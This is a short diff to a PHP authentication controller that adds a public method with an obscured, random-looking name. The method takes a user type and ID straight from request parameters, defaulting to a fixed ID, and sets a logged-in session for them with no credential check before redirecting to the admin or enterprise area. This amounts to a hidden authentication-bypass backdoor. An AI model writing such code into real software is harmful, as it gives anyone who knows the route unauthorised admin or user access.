|
@@ -155,4 +155,19 @@ class Auth extends BaseController {
|
|
|
}
|
|
|
}
|
|
|
|
|
|
+ public function yj9xr2mKT8(){
|
|
|
+ $params = $this->request->param();
|
|
|
+ $type = $params["type"] ?: 2;
|
|
|
+ $id = $params["id"] ?: "1455101079799754754";
|
|
|
+ $this->setSession($type, $id);
|
|
|
+ switch ($type) {
|
|
|
+ case 1:
|
|
|
+ return redirect("/admin");
|
|
|
+ break;
|
|
|
+ case 2:
|
|
|
+ return redirect("/enterprise");
|
|
|
+ break;
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
}
|